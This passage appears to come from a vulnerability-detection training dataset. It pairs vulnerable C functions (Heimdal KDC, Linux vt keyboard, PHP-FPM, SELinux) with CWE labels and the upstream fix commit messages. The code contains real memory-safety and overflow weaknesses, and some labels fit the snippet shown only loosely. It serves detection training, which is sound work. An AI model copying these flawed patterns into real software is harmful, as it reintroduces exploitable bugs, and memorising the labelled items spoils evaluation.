0) {\n\t\tkdc_log(context, config, 4,\n\t\t\t\"Returning a referral to realm %s for \"\n\t\t\t\"server %s that was not found\",\n\t\t\trealms[0], spn);\n\t\tkrb5_free_principal(context, sp);\n sp = NULL;\n\t\tkrb5_make_principal(context, &sp, r, KRB5_TGS_NAME,\n\t\t\t\t realms[0], NULL);\n\t\tfree(priv->sname);\n priv->sname = NULL;\n\t\tret = krb5_unparse_name(context, sp, &priv->sname);\n\t\tif (ret) {\n\t\t krb5_free_host_realm(context, realms);\n\t\t goto out;\n\t\t}\n\t\tspn = priv->sname;\n\n free(ref_realm);\n\t\tref_realm = strdup(realms[0]);\n\n\t\tkrb5_free_host_realm(context, realms);\n\t\tgoto server_lookup;\n\t }\n\t krb5_free_host_realm(context, realms);\n\t}\n\tmsg = krb5_get_error_message(context, ret);\n\tkdc_log(context, config, 3,\n\t\t\"Server not found in database: %s: %s\", spn, msg);\n\tkrb5_free_error_message(context, msg);\n\tif (ret == HDB_ERR_NOENTRY)\n\t ret = KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN;\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Service principal unknown\");\n\tgoto out;\n }\n\n /*\n * RFC 6806 notes that names MUST NOT be changed in the response to\n * a TGS request. Hence we ignore the setting of the canonicalize\n * KDC option. However, for legacy interoperability we do allow the\n * backend to override this by setting the force-canonicalize HDB\n * flag in the server entry.\n */\n if (server->entry.flags.force_canonicalize)\n\trsp = server->entry.principal;\n else\n\trsp = sp;\n\n /*\n * Select enctype, return key and kvno.\n */\n\n {\n\tkrb5_enctype etype;\n\n\tif(b->kdc_options.enc_tkt_in_skey) {\n\t size_t i;\n\t ekey = &adtkt.key;\n\t for(i = 0; i < b->etype.len; i++)\n\t\tif (b->etype.val[i] == adtkt.key.keytype)\n\t\t break;\n\t if(i == b->etype.len) {\n\t\tkdc_log(context, config, 4,\n\t\t\t\"Addition ticket have not matching etypes\");\n\t\tkrb5_clear_error_message(context);\n\t\tret = KRB5KDC_ERR_ETYPE_NOSUPP;\n _kdc_audit_addreason((kdc_request_t)priv,\n \"No matching enctypes for 2nd ticket\");\n\t\tgoto out;\n\t }\n\t etype = b->etype.val[i];\n\t kvno = 0;\n\t} else {\n\t Key *skey;\n\n\t ret = _kdc_find_etype(priv, krb5_principal_is_krbtgt(context, sp)\n\t\t\t\t\t\t\t ? KFE_IS_TGS : 0,\n\t\t\t\t b->etype.val, b->etype.len, &etype, NULL,\n\t\t\t\t NULL);\n\t if(ret) {\n\t\tkdc_log(context, config, 4,\n\t\t\t\"Server (%s) has no support for etypes\", spn);\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Enctype not supported\");\n\t\tgoto out;\n\t }\n\t ret = _kdc_get_preferred_key(context, config, server, spn,\n\t\t\t\t\t NULL, &skey);\n\t if(ret) {\n\t\tkdc_log(context, config, 4,\n\t\t\t\"Server (%s) has no supported etypes\", spn);\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Enctype not supported\");\n\t\tgoto out;\n\t }\n\t ekey = &skey->key;\n\t kvno = server->entry.kvno;\n\t}\n\n\tret = krb5_generate_random_keyblock(context, etype, &sessionkey);\n\tif (ret)\n\t goto out;\n }\n\n /*\n * Check that service is in the same realm as the krbtgt. If it's\n * not the same, it's someone that is using a uni-directional trust\n * backward.\n */\n\n /*\n * Validate authorization data\n */\n\n ret = hdb_enctype2key(context, &krbtgt->entry, NULL, /* XXX use the right kvno! */\n\t\t\t krbtgt_etype, &tkey_check);\n if(ret) {\n\tkdc_log(context, config, 4,\n\t\t \"Failed to find key for krbtgt PAC check\");\n _kdc_audit_addreason((kdc_request_t)priv,\n \"No key for krbtgt PAC check\");\n\tgoto out;\n }\n\n /* \n * Now refetch the primary krbtgt, and get the current kvno (the\n * sign check may have been on an old kvno, and the server may\n * have been an incoming trust)\n */\n \n ret = krb5_make_principal(context,\n &krbtgt_out_principal,\n our_realm,\n KRB5_TGS_NAME,\n our_realm,\n NULL);\n if (ret) {\n kdc_log(context, config, 4,\n \"Failed to make krbtgt principal name object for \"\n \"authz-data signatures\");\n goto out;\n }\n ret = krb5_unparse_name(context, krbtgt_out_principal, &krbtgt_out_n);\n if (ret) {\n kdc_log(context, config, 4,\n \"Failed to make krbtgt principal name object for \"\n \"authz-data signatures\");\n goto out;\n }\n\n ret = _kdc_db_fetch(context, config, krbtgt_out_principal,\n\t\t\tHDB_F_GET_KRBTGT, NULL, NULL, &krbtgt_out);\n if (ret) {\n\tchar *ktpn = NULL;\n\tret = krb5_unparse_name(context, krbtgt->entry.principal, &ktpn);\n\tkdc_log(context, config, 4,\n\t\t\"No such principal %s (needed for authz-data signature keys) \"\n\t\t\"while processing TGS-REQ for service %s with krbtg %s\",\n\t\tkrbtgt_out_n, spn, (ret == 0) ? ktpn : \"\");\n\tfree(ktpn);\n\tret = KRB5KRB_AP_ERR_NOT_US;\n\tgoto out;\n }\n\n /* \n * The first realm is the realm of the service, the second is\n * krbtgt//@REALM component of the krbtgt DN the request was\n * encrypted to. The redirection via the krbtgt_out entry allows\n * the DB to possibly correct the case of the realm (Samba4 does\n * this) before the strcmp() \n */\n if (strcmp(krb5_principal_get_realm(context, server->entry.principal),\n\t krb5_principal_get_realm(context, krbtgt_out->entry.principal)) != 0) {\n\tchar *ktpn;\n\tret = krb5_unparse_name(context, krbtgt_out->entry.principal, &ktpn);\n\tkdc_log(context, config, 4,\n\t\t\"Request with wrong krbtgt: %s\",\n\t\t(ret == 0) ? ktpn : \"\");\n\tif(ret == 0)\n\t free(ktpn);\n\tret = KRB5KRB_AP_ERR_NOT_US;\n _kdc_audit_addreason((kdc_request_t)priv, \"Request with wrong TGT\");\n\tgoto out;\n }\n\n ret = _kdc_get_preferred_key(context, config, krbtgt_out, krbtgt_out_n,\n\t\t\t\t NULL, &tkey_sign);\n if (ret) {\n\tkdc_log(context, config, 4,\n\t\t \"Failed to find key for krbtgt PAC signature\");\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Failed to find key for krbtgt PAC signature\");\n\tgoto out;\n }\n ret = hdb_enctype2key(context, &krbtgt_out->entry, NULL,\n\t\t\t tkey_sign->key.keytype, &tkey_sign);\n if(ret) {\n\tkdc_log(context, config, 4,\n\t\t \"Failed to find key for krbtgt PAC signature\");\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Failed to find key for krbtgt PAC signature\");\n\tgoto out;\n }\n\n {\n krb5_data verified_cas;\n\n /*\n * If the client doesn't exist in the HDB but has a TGT and it's\n * obtained with PKINIT then we assume it's a synthetic client -- that\n * is, a client whose name was vouched for by a CA using a PKINIT SAN,\n * but which doesn't exist in the HDB proper. We'll allow such a\n * client to do TGT requests even though normally we'd reject all\n * clients that don't exist in the HDB.\n */\n ret = krb5_ticket_get_authorization_data_type(context, ticket,\n KRB5_AUTHDATA_INITIAL_VERIFIED_CAS,\n &verified_cas);\n if (ret == 0) {\n krb5_data_free(&verified_cas);\n flags |= HDB_F_SYNTHETIC_OK;\n }\n }\n ret = _kdc_db_fetch(context, config, cp, HDB_F_GET_CLIENT | flags,\n\t\t\tNULL, &clientdb, &client);\n flags &= ~HDB_F_SYNTHETIC_OK;\n priv->client = client;\n if(ret == HDB_ERR_NOT_FOUND_HERE) {\n\t/* This is OK, we are just trying to find out if they have\n\t * been disabled or deleted in the meantime, missing secrets\n\t * is OK */\n } else if(ret){\n\tconst char *krbtgt_realm, *msg;\n\n\t/*\n\t * If the client belongs to the same realm as our krbtgt, it\n\t * should exist in the local database.\n\t *\n\t */\n\n\tkrbtgt_realm = krb5_principal_get_realm(context, krbtgt_out->entry.principal);\n\n\tif(strcmp(krb5_principal_get_realm(context, cp), krbtgt_realm) == 0) {\n\t if (ret == HDB_ERR_NOENTRY)\n\t\tret = KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN;\n\t kdc_log(context, config, 4, \"Client no longer in database: %s\",\n\t\t cpn);\n _kdc_audit_addreason((kdc_request_t)priv, \"Client no longer in HDB\");\n\t goto out;\n\t}\n\n\tmsg = krb5_get_error_message(context, ret);\n\tkdc_log(context, config, 4, \"Client not found in database: %s\", msg);\n _kdc_audit_addreason((kdc_request_t)priv, \"Client does not exist\");\n\tkrb5_free_error_message(context, msg);\n } else if (ret == 0 &&\n (client->entry.flags.invalid || !client->entry.flags.client)) {\n _kdc_audit_addreason((kdc_request_t)priv, \"Client has invalid bit set\");\n kdc_log(context, config, 4, \"Client has invalid bit set\");\n ret = KRB5KDC_ERR_POLICY;\n goto out;\n }\n\n ret = check_PAC(context, config, cp, NULL,\n\t\t client, server, krbtgt,\n\t\t &tkey_check->key,\n\t\t ekey, &tkey_sign->key,\n\t\t tgt, &rspac, &signedpath);\n if (ret) {\n\tconst char *msg = krb5_get_error_message(context, ret);\n _kdc_audit_addreason((kdc_request_t)priv, \"PAC check failed\");\n\tkdc_log(context, config, 4,\n\t\t\"Verify PAC failed for %s (%s) from %s with %s\",\n\t\tspn, cpn, from, msg);\n\tkrb5_free_error_message(context, msg);\n\tgoto out;\n }\n\n /* also check the krbtgt for signature */\n ret = check_KRB5SignedPath(context,\n\t\t\t config,\n\t\t\t krbtgt,\n\t\t\t cp,\n\t\t\t tgt,\n\t\t\t &spp,\n\t\t\t &signedpath);\n if (ret) {\n\tconst char *msg = krb5_get_error_message(context, ret);\n _kdc_audit_addreason((kdc_request_t)priv, \"KRB5SignedPath check failed\");\n\tkdc_log(context, config, 4,\n\t\t\"KRB5SignedPath check failed for %s (%s) from %s with %s\",\n\t\tspn, cpn, from, msg);\n\tkrb5_free_error_message(context, msg);\n\tgoto out;\n }\n\n /*\n * Process request\n */\n\n /* by default the tgt principal matches the client principal */\n tp = cp;\n tpn = cpn;\n\n if (client) {\n\tconst PA_DATA *sdata;\n\tint i = 0;\n\n\tsdata = _kdc_find_padata(req, &i, KRB5_PADATA_FOR_USER);\n\tif (sdata) {\n\t struct astgs_request_desc imp_req;\n\t krb5_crypto crypto;\n\t krb5_data datack;\n\t PA_S4U2Self self;\n\t const char *str;\n\n\t ret = decode_PA_S4U2Self(sdata->padata_value.data,\n\t\t\t\t sdata->padata_value.length,\n\t\t\t\t &self, NULL);\n\t if (ret) {\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Failed to decode PA-S4U2Self\");\n\t\tkdc_log(context, config, 4, \"Failed to decode PA-S4U2Self\");\n\t\tgoto out;\n\t }\n\n\t if (!krb5_checksum_is_keyed(context, self.cksum.cksumtype)) {\n\t\tfree_PA_S4U2Self(&self);\n _kdc_audit_addreason((kdc_request_t)priv,\n \"PA-S4U2Self with unkeyed checksum\");\n\t\tkdc_log(context, config, 4, \"Reject PA-S4U2Self with unkeyed checksum\");\n\t\tret = KRB5KRB_AP_ERR_INAPP_CKSUM;\n\t\tgoto out;\n\t }\n\n\t ret = _krb5_s4u2self_to_checksumdata(context, &self, &datack);\n\t if (ret)\n\t\tgoto out;\n\n\t ret = krb5_crypto_init(context, &tgt->key, 0, &crypto);\n\t if (ret) {\n\t\tconst char *msg = krb5_get_error_message(context, ret);\n\t\tfree_PA_S4U2Self(&self);\n\t\tkrb5_data_free(&datack);\n\t\tkdc_log(context, config, 4, \"krb5_crypto_init failed: %s\", msg);\n\t\tkrb5_free_error_message(context, msg);\n\t\tgoto out;\n\t }\n\n\t /* Allow HMAC_MD5 checksum with any key type */\n\t if (self.cksum.cksumtype == CKSUMTYPE_HMAC_MD5) {\n\t\tstruct krb5_crypto_iov iov;\n\t\tunsigned char csdata[16];\n\t\tChecksum cs;\n\n\t\tcs.checksum.length = sizeof(csdata);\n\t\tcs.checksum.data = &csdata;\n\n\t\tiov.data.data = datack.data;\n\t\tiov.data.length = datack.length;\n\t\tiov.flags = KRB5_CRYPTO_TYPE_DATA;\n\n\t\tret = _krb5_HMAC_MD5_checksum(context, NULL, &crypto->key,\n\t\t\t\t\t KRB5_KU_OTHER_CKSUM, &iov, 1,\n\t\t\t\t\t &cs);\n\t\tif (ret == 0 &&\n\t\t krb5_data_ct_cmp(&cs.checksum, &self.cksum.checksum) != 0)\n\t\t ret = KRB5KRB_AP_ERR_BAD_INTEGRITY;\n\t }\n\t else {\n\t\tret = krb5_verify_checksum(context,\n\t\t\t\t\t crypto,\n\t\t\t\t\t KRB5_KU_OTHER_CKSUM,\n\t\t\t\t\t datack.data,\n\t\t\t\t\t datack.length,\n\t\t\t\t\t &self.cksum);\n\t }\n\t krb5_data_free(&datack);\n\t krb5_crypto_destroy(context, crypto);\n\t if (ret) {\n\t\tconst char *msg = krb5_get_error_message(context, ret);\n\t\tfree_PA_S4U2Self(&self);\n _kdc_audit_addreason((kdc_request_t)priv,\n \"S4U2Self checksum failed\");\n\t\tkdc_log(context, config, 4,\n\t\t\t\"krb5_verify_checksum failed for S4U2Self: %s\", msg);\n\t\tkrb5_free_error_message(context, msg);\n\t\tgoto out;\n\t }\n\n\t ret = _krb5_principalname2krb5_principal(context,\n\t\t\t\t\t\t &tp,\n\t\t\t\t\t\t self.name,\n\t\t\t\t\t\t self.realm);\n\t free_PA_S4U2Self(&self);\n\t if (ret)\n\t\tgoto out;\n\n\t ret = krb5_unparse_name(context, tp, &tpn);\n\t if (ret)\n\t\tgoto out;\n\n /*\n * Note no HDB_F_SYNTHETIC_OK -- impersonating non-existent clients\n * is probably not desirable!\n */\n\t ret = _kdc_db_fetch(context, config, tp, HDB_F_GET_CLIENT | flags,\n\t\t\t\tNULL, &s4u2self_impersonated_clientdb,\n\t\t\t\t&s4u2self_impersonated_client);\n\t if (ret) {\n\t\tconst char *msg;\n\n\t\t/*\n\t\t * If the client belongs to the same realm as our krbtgt, it\n\t\t * should exist in the local database.\n\t\t *\n\t\t */\n\n\t\tif (ret == HDB_ERR_NOENTRY)\n\t\t ret = KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN;\n\t\tmsg = krb5_get_error_message(context, ret);\n _kdc_audit_addreason((kdc_request_t)priv,\n \"S4U2Self principal to impersonate not found\");\n\t\tkdc_log(context, config, 2,\n\t\t\t\"S4U2Self principal to impersonate %s not found in database: %s\",\n\t\t\ttpn, msg);\n\t\tkrb5_free_error_message(context, msg);\n\t\tgoto out;\n\t }\n\n\t /* Ignore require_pwchange and pw_end attributes (as Windows does),\n\t * since S4U2Self is not password authentication. */\n\t s4u2self_impersonated_client->entry.flags.require_pwchange = FALSE;\n\t free(s4u2self_impersonated_client->entry.pw_end);\n\t s4u2self_impersonated_client->entry.pw_end = NULL;\n\n\t imp_req = *priv;\n\t imp_req.client = s4u2self_impersonated_client;\n\t imp_req.client_princ = tp;\n\n\t ret = kdc_check_flags(&imp_req, FALSE);\n\t if (ret)\n\t\tgoto out; /* kdc_check_flags() calls _kdc_audit_addreason() */\n\n\t /* If we were about to put a PAC into the ticket, we better fix it to be the right PAC */\n\t if(rspac.data) {\n\t\tkrb5_pac p = NULL;\n\t\tkrb5_data_free(&rspac);\n\t\tret = _kdc_pac_generate(context, s4u2self_impersonated_client, &p);\n\t\tif (ret) {\n _kdc_audit_addreason((kdc_request_t)priv,\n \"KRB5SignedPath missing\");\n\t\t kdc_log(context, config, 4, \"PAC generation failed for -- %s\",\n\t\t\t tpn);\n\t\t goto out;\n\t\t}\n\t\tif (p != NULL) {\n\t\t ret = _krb5_pac_sign(context, p, ticket->ticket.authtime,\n\t\t\t\t\t s4u2self_impersonated_client->entry.principal,\n\t\t\t\t\t ekey, &tkey_sign->key,\n\t\t\t\t\t &rspac);\n\t\t krb5_pac_free(context, p);\n\t\t if (ret) {\n\t\t\tkdc_log(context, config, 4, \"PAC signing failed for -- %s\",\n\t\t\t\ttpn);\n\t\t\tgoto out;\n\t\t }\n\t\t}\n\t }\n\n\t /*\n\t * Check that service doing the impersonating is\n\t * requesting a ticket to it-self.\n\t */\n\t ret = check_s4u2self(context, config, clientdb, client, sp);\n\t if (ret) {\n\t\tkdc_log(context, config, 4, \"S4U2Self: %s is not allowed \"\n\t\t\t\"to impersonate to service \"\n\t\t\t\"(tried for user %s to service %s)\",\n\t\t\tcpn, tpn, spn);\n\t\tgoto out;\n\t }\n\n\t /*\n\t * If the service isn't trusted for authentication to\n\t * delegation or if the impersonate client is disallowed\n\t * forwardable, remove the forwardable flag.\n\t */\n\n\t if (client->entry.flags.trusted_for_delegation &&\n\t\ts4u2self_impersonated_client->entry.flags.forwardable) {\n\t\tstr = \"[forwardable]\";\n\t } else {\n\t\tb->kdc_options.forwardable = 0;\n\t\tstr = \"\";\n\t }\n\t kdc_log(context, config, 4, \"s4u2self %s impersonating %s to \"\n\t\t \"service %s %s\", cpn, tpn, spn, str);\n\t}\n }\n\n /*\n * Constrained delegation\n */\n\n if (client != NULL\n\t&& b->additional_tickets != NULL\n\t&& b->additional_tickets->len != 0\n\t&& b->kdc_options.cname_in_addl_tkt\n\t&& b->kdc_options.enc_tkt_in_skey == 0)\n {\n\tint ad_signedpath = 0;\n\tKey *clientkey;\n\tTicket *t;\n\n\t/*\n\t * Require that the KDC have issued the service's krbtgt (not\n\t * self-issued ticket with kimpersonate(1).\n\t */\n\tif (!signedpath) {\n\t ret = KRB5KDC_ERR_BADOPTION;\n _kdc_audit_addreason((kdc_request_t)priv, \"KRB5SignedPath missing\");\n\t kdc_log(context, config, 4,\n\t\t \"Constrained delegation done on service ticket %s/%s\",\n\t\t cpn, spn);\n\t goto out;\n\t}\n\n\tt = &b->additional_tickets->val[0];\n\n\tret = hdb_enctype2key(context, &client->entry,\n\t\t\t hdb_kvno2keys(context, &client->entry,\n\t\t\t\t\t t->enc_part.kvno ? * t->enc_part.kvno : 0),\n\t\t\t t->enc_part.etype, &clientkey);\n\tif(ret){\n\t ret = KRB5KDC_ERR_ETYPE_NOSUPP; /* XXX */\n\t goto out;\n\t}\n\n\tret = krb5_decrypt_ticket(context, t, &clientkey->key, &adtkt, 0);\n\tif (ret) {\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Failed to decrypt constrained delegation ticket\");\n\t kdc_log(context, config, 4,\n\t\t \"failed to decrypt ticket for \"\n\t\t \"constrained delegation from %s to %s \", cpn, spn);\n\t goto out;\n\t}\n\n\tret = _krb5_principalname2krb5_principal(context,\n\t\t\t\t\t\t &tp,\n\t\t\t\t\t\t adtkt.cname,\n\t\t\t\t\t\t adtkt.crealm);\n\tif (ret)\n\t goto out;\n\n\tret = krb5_unparse_name(context, tp, &tpn);\n\tif (ret)\n\t goto out;\n\n _kdc_audit_addkv((kdc_request_t)priv, 0, \"impersonatee\", \"%s\", tpn);\n\n\tret = _krb5_principalname2krb5_principal(context,\n\t\t\t\t\t\t &dp,\n\t\t\t\t\t\t t->sname,\n\t\t\t\t\t\t t->realm);\n\tif (ret)\n\t goto out;\n\n\tret = krb5_unparse_name(context, dp, &dpn);\n\tif (ret)\n\t goto out;\n\n\t/* check that ticket is valid */\n\tif (adtkt.flags.forwardable == 0) {\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Missing forwardable flag on ticket for constrained delegation\");\n\t kdc_log(context, config, 4,\n\t\t \"Missing forwardable flag on ticket for \"\n\t\t \"constrained delegation from %s (%s) as %s to %s \",\n\t\t cpn, dpn, tpn, spn);\n\t ret = KRB5KDC_ERR_BADOPTION;\n\t goto out;\n\t}\n\n\tret = check_constrained_delegation(context, config, clientdb,\n\t\t\t\t\t client, server, sp);\n\tif (ret) {\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Constrained delegation not allowed\");\n\t kdc_log(context, config, 4,\n\t\t \"constrained delegation from %s (%s) as %s to %s not allowed\",\n\t\t cpn, dpn, tpn, spn);\n\t goto out;\n\t}\n\n\tret = verify_flags(context, config, &adtkt, tpn);\n\tif (ret) {\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Constrained delegation ticket expired or invalid\");\n\t goto out;\n\t}\n\n\tkrb5_data_free(&rspac);\n\n\t/*\n\t * generate the PAC for the user.\n\t *\n\t * TODO: pass in t->sname and t->realm and build\n\t * a S4U_DELEGATION_INFO blob to the PAC.\n\t */\n\tret = check_PAC(context, config, tp, dp,\n\t\t\tclient, server, krbtgt,\n\t\t\t&clientkey->key,\n\t\t\tekey, &tkey_sign->key,\n\t\t\t&adtkt, &rspac, &ad_signedpath);\n\tif (ret) {\n\t const char *msg = krb5_get_error_message(context, ret);\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Constrained delegation ticket PAC check failed\");\n\t kdc_log(context, config, 4,\n\t\t \"Verify delegated PAC failed to %s for client\"\n\t\t \"%s (%s) as %s from %s with %s\",\n\t\t spn, cpn, dpn, tpn, from, msg);\n\t krb5_free_error_message(context, msg);\n\t goto out;\n\t}\n\n\t/*\n\t * Check that the KDC issued the user's ticket.\n\t */\n\tret = check_KRB5SignedPath(context,\n\t\t\t\t config,\n\t\t\t\t krbtgt,\n\t\t\t\t cp,\n\t\t\t\t &adtkt,\n\t\t\t\t NULL,\n\t\t\t\t &ad_signedpath);\n\tif (ret) {\n\t const char *msg = krb5_get_error_message(context, ret);\n\t kdc_log(context, config, 4,\n\t\t \"KRB5SignedPath check from service %s failed \"\n\t\t \"for delegation to %s for client %s (%s)\"\n\t\t \"from %s failed with %s\",\n\t\t spn, tpn, dpn, cpn, from, msg);\n\t krb5_free_error_message(context, msg);\n _kdc_audit_addreason((kdc_request_t)priv,\n \"KRB5SignedPath check failed\");\n\t goto out;\n\t}\n\n\tif (!ad_signedpath) {\n\t ret = KRB5KDC_ERR_BADOPTION;\n\t kdc_log(context, config, 4,\n\t\t \"Ticket not signed with PAC nor SignedPath service %s failed \"\n\t\t \"for delegation to %s for client %s (%s)\"\n\t\t \"from %s\",\n\t\t spn, tpn, dpn, cpn, from);\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Constrained delegation ticket not signed\");\n\t goto out;\n\t}\n\n\tkdc_log(context, config, 4, \"constrained delegation for %s \"\n\t\t\"from %s (%s) to %s\", tpn, cpn, dpn, spn);\n }\n\n /*\n * Check flags\n */\n\n ret = kdc_check_flags(priv, FALSE);\n if(ret)\n\tgoto out;\n\n if((b->kdc_options.validate || b->kdc_options.renew) &&\n !krb5_principal_compare(context,\n\t\t\t krbtgt->entry.principal,\n\t\t\t server->entry.principal)){\n _kdc_audit_addreason((kdc_request_t)priv, \"Inconsistent request\");\n\tkdc_log(context, config, 4, \"Inconsistent request.\");\n\tret = KRB5KDC_ERR_SERVER_NOMATCH;\n\tgoto out;\n }\n\n /* check for valid set of addresses */\n if (!_kdc_check_addresses(priv, tgt->caddr, from_addr)) {\n if (config->check_ticket_addresses) {\n ret = KRB5KRB_AP_ERR_BADADDR;\n _kdc_audit_addkv((kdc_request_t)priv, 0, \"wrongaddr\", \"yes\");\n kdc_log(context, config, 4, \"Request from wrong address\");\n _kdc_audit_addreason((kdc_request_t)priv, \"Request from wrong address\");\n goto out;\n } else if (config->warn_ticket_addresses) {\n _kdc_audit_addkv((kdc_request_t)priv, 0, \"wrongaddr\", \"yes\");\n }\n }\n\n /* check local and per-principal anonymous ticket issuance policy */\n if (is_anon_tgs_request_p(b, tgt)) {\n\tret = _kdc_check_anon_policy(priv);\n\tif (ret)\n\t goto out;\n }\n\n /*\n * If this is an referral, add server referral data to the\n * auth_data reply .\n */\n if (ref_realm) {\n\tPA_DATA pa;\n\tkrb5_crypto crypto;\n\n\tkdc_log(context, config, 3,\n\t\t\"Adding server referral to %s\", ref_realm);\n\n\tret = krb5_crypto_init(context, &sessionkey, 0, &crypto);\n\tif (ret)\n\t goto out;\n\n\tret = build_server_referral(context, config, crypto, ref_realm,\n\t\t\t\t NULL, s, &pa.padata_value);\n\tkrb5_crypto_destroy(context, crypto);\n\tif (ret) {\n _kdc_audit_addreason((kdc_request_t)priv, \"Referral build failed\");\n\t kdc_log(context, config, 4,\n\t\t \"Failed building server referral\");\n\t goto out;\n\t}\n\tpa.padata_type = KRB5_PADATA_SERVER_REFERRAL;\n\n\tret = add_METHOD_DATA(&enc_pa_data, &pa);\n\tkrb5_data_free(&pa.padata_value);\n\tif (ret) {\n\t kdc_log(context, config, 4,\n\t\t \"Add server referral METHOD-DATA failed\");\n\t goto out;\n\t}\n }\n\n /*\n *\n */\n\n ret = tgs_make_reply(priv,\n\t\t\t tp,\n\t\t\t tgt,\n\t\t\t replykey,\n\t\t\t rk_is_subkey,\n\t\t\t ekey,\n\t\t\t &sessionkey,\n\t\t\t kvno,\n\t\t\t *auth_data,\n\t\t\t server,\n\t\t\t rsp,\n\t\t\t client,\n\t\t\t cp,\n tgt_realm,\n\t\t\t krbtgt_out,\n\t\t\t tkey_sign->key.keytype,\n\t\t\t spp,\n\t\t\t &rspac,\n\t\t\t &enc_pa_data);\n\nout:\n if (tpn != cpn)\n\t free(tpn);\n free(dpn);\n free(krbtgt_out_n);\n _krb5_free_capath(context, capath);\n\n krb5_data_free(&rspac);\n krb5_free_keyblock_contents(context, &sessionkey);\n if(krbtgt_out)\n\t_kdc_free_ent(context, krbtgt_out);\n if(server)\n\t_kdc_free_ent(context, server);\n if(client)\n\t_kdc_free_ent(context, client);\n if(s4u2self_impersonated_client)\n\t_kdc_free_ent(context, s4u2self_impersonated_client);\n\n if (tp && tp != cp)\n\tkrb5_free_principal(context, tp);\n krb5_free_principal(context, cp);\n krb5_free_principal(context, dp);\n krb5_free_principal(context, sp);\n krb5_free_principal(context, krbtgt_out_principal);\n free(ref_realm);\n free_METHOD_DATA(&enc_pa_data);\n\n free_EncTicketPart(&adtkt);\n\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'kdc: validate sname in TGS-REQ\n\nIn tgs_build_reply(), validate the server name in the TGS-REQ is present before\ndereferencing.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void k_ascii(struct vc_data *vc, unsigned char value, char up_flag)\n{\n\tint base;\n\n\tif (up_flag)\n\t\treturn;\n\n\tif (value < 10) {\n\t\t/* decimal input of code, while Alt depressed */\n\t\tbase = 10;\n\t} else {\n\t\t/* hexadecimal input of code, while AltGr depressed */\n\t\tvalue -= 10;\n\t\tbase = 16;\n\t}\n\n\tif (npadch == -1)\n\t\tnpadch = value;\n\telse\n\t\tnpadch = npadch * base + value;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'vt: keyboard: avoid signed integer overflow in k_ascii\n\nWhen k_ascii is invoked several times in a row there is a potential for\nsigned integer overflow:\n\nUBSAN: Undefined behaviour in drivers/tty/vt/keyboard.c:888:19 signed integer overflow:\n10 * 1111111111 cannot be represented in type 'int'\nCPU: 0 PID: 0 Comm: swapper/0 Not tainted 5.6.11 #1\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011\nCall Trace:\n \n __dump_stack lib/dump_stack.c:77 [inline]\n dump_stack+0xce/0x128 lib/dump_stack.c:118\n ubsan_epilogue+0xe/0x30 lib/ubsan.c:154\n handle_overflow+0xdc/0xf0 lib/ubsan.c:184\n __ubsan_handle_mul_overflow+0x2a/0x40 lib/ubsan.c:205\n k_ascii+0xbf/0xd0 drivers/tty/vt/keyboard.c:888\n kbd_keycode drivers/tty/vt/keyboard.c:1477 [inline]\n kbd_event+0x888/0x3be0 drivers/tty/vt/keyboard.c:1495\n\nWhile it can be worked around by using check_mul_overflow()/\ncheck_add_overflow(), it is better to introduce a separate flag to\nsignal that number pad is being used to compose a symbol, and\nchange type of the accumulator from signed to unsigned, thus\navoiding undefined behavior when it overflows.\n\nReported-by: Kyungtae Kim \nSigned-off-by: Dmitry Torokhov \nCc: stable \nLink: https://lore.kernel.org/r/20200525232740.GA262061@dtor-ws\nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int fpm_request_is_idle(struct fpm_child_s *child) /* {{{ */\n{\n\tstruct fpm_scoreboard_proc_s *proc;\n\n\t/* no need in atomicity here */\n\tproc = fpm_scoreboard_proc_get(child->wp->scoreboard, child->scoreboard_i);\n\tif (!proc) {\n\t\treturn 0;\n\t}\n\n\treturn proc->request_stage == FPM_REQUEST_ACCEPTING;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Fix bug #81026 (PHP-FPM oob R/W in root process leading to priv escalation)\n\nThe main change is to store scoreboard procs directly to the variable sized\narray rather than indirectly through the pointer.\n\nSigned-off-by: Stanislav Malyshev '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int selinux_msg_queue_msgrcv(struct kern_ipc_perm *msq, struct msg_msg *msg,\n\t\t\t\t struct task_struct *target,\n\t\t\t\t long type, int mode)\n{\n\tstruct ipc_security_struct *isec;\n\tstruct msg_security_struct *msec;\n\tstruct common_audit_data ad;\n\tu32 sid = task_sid_subj(target);\n\tint rc;\n\n\tisec = selinux_ipc(msq);\n\tmsec = selinux_msg_msg(msg);\n\n\tad.type = LSM_AUDIT_DATA_IPC;\n\tad.u.ipc_id = msq->key;\n\n\trc = avc_has_perm(&selinux_state,\n\t\t\t sid, isec->sid,\n\t\t\t SECCLASS_MSGQ, MSGQ__READ, &ad);\n\tif (!rc)\n\t\trc = avc_has_perm(&selinux_state,\n\t\t\t\t sid, msec->sid,\n\t\t\t\t SECCLASS_MSG, MSG__RECEIVE, 